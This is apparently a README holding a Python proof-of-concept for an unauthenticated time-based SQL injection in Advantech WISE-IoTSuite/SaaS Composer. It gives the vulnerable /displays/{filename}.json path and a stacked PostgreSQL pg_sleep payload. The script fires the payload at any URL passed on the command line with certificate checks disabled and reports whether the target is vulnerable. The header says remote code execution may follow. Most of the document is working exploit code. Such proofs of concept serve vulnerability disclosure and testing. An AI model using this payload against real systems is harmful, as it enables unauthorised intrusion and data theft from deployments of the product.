README.md
Rendering markdown...
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
#
# Title: Advantech SaaS Composer – SQL Injection PoC
# Vendor: Advantech Corporation
# Product: WISE-IoTSuite/SaaS Composer
# Vulnerability: SQL Injection (Unauthenticated)
# Affected Component: /displays/{filename}.json?org_id=
# Threat: Data Exfiltration, Remote Code Execution via PostgreSQL stacked queries
# Author: Loi Nguyen Thang, HCMUTE Information Security Club
#
# Description:
# This PoC demonstrates a critical SQL injection vulnerability affecting
# Advantech WISE-IoTSuite/SaaS Composer. The parameter `filename` is concatenated unsafely
# into a PostgreSQL query. Attackers can inject stacked queries such as:
#
# '; select 1 from pg_sleep(10) --
#
# Response delay is used to confirm that SQL queries are executed on the backend,
# potentially with high-privileged DB accounts. Under certain deployments,
# PostgreSQL commands may lead to Remote Code Execution.
#
# Usage:
# python3 advantech_sqli_poc.py --url https://target --org 1
# The --org must be chosen according to the target's configuration. Default is 1. Try different values if unsure (e.g., 1, 2, 3).
#
import requests
import time
import argparse
import urllib.parse
import warnings
import sys
warnings.filterwarnings("ignore", category=requests.packages.urllib3.exceptions.InsecureRequestWarning)
SLEEP_TIME = 10
TIMEOUT = 15
def build_payload_path(org_id):
return f"/displays/filename.json'; select pg_sleep({SLEEP_TIME}) --?org_id={org_id}"
def test_vulnerability(base_url, org_id):
"""
Perform the time-based SQL injection test.
"""
if not base_url.startswith(("http://", "https://")):
base_url = "https://" + base_url
payload = build_payload_path(org_id)
target = urllib.parse.urljoin(base_url, payload)
print(f"[+] Target URL : {base_url}")
print(f"[+] Injecting : org_id={org_id}")
print(f"[+] Payload : {payload}")
print(f"[+] Full URL : {target}")
print("----------------------------------------------------")
start = time.time()
try:
requests.get(target, timeout=TIMEOUT, verify=False)
except requests.exceptions.Timeout:
print(f"[!] ERROR: HTTP timeout (>{TIMEOUT}s). Target may be down or filtered.")
sys.exit(2)
except requests.exceptions.RequestException as e:
print(f"[!] ERROR: {str(e)}")
sys.exit(3)
duration = time.time() - start
print(f"[*] Response time: {duration:.2f}s")
if duration >= SLEEP_TIME:
print("\n=== RESULT: VULNERABLE ===")
print("[+] The server appears vulnerable to time-based SQL injection.")
print("[+] PostgreSQL query executed successfully (pg_sleep triggered).")
print("[+] Further exploitation such as RCE may be possible depending on DB privileges.")
sys.exit(0)
else:
print("\n=== RESULT: NOT VULNERABLE ===")
print("[-] No time delay detected; injection appears ineffective.")
sys.exit(1)
def main():
parser = argparse.ArgumentParser(
description="Advantech SaaS Composer - SQL Injection PoC"
)
parser.add_argument("--url", required=True, help="Target base URL")
parser.add_argument("--org", type=int, default=1, help="Organization ID (integer)")
args = parser.parse_args()
print("====================================================")
print(" Advantech SaaS Composer - SQL Injection PoC")
print(" (Time-Based / PostgreSQL pg_sleep)")
print("====================================================")
print(f"[*] Using org_id = {args.org}\n")
test_vulnerability(args.url, args.org)
if __name__ == "__main__":
main()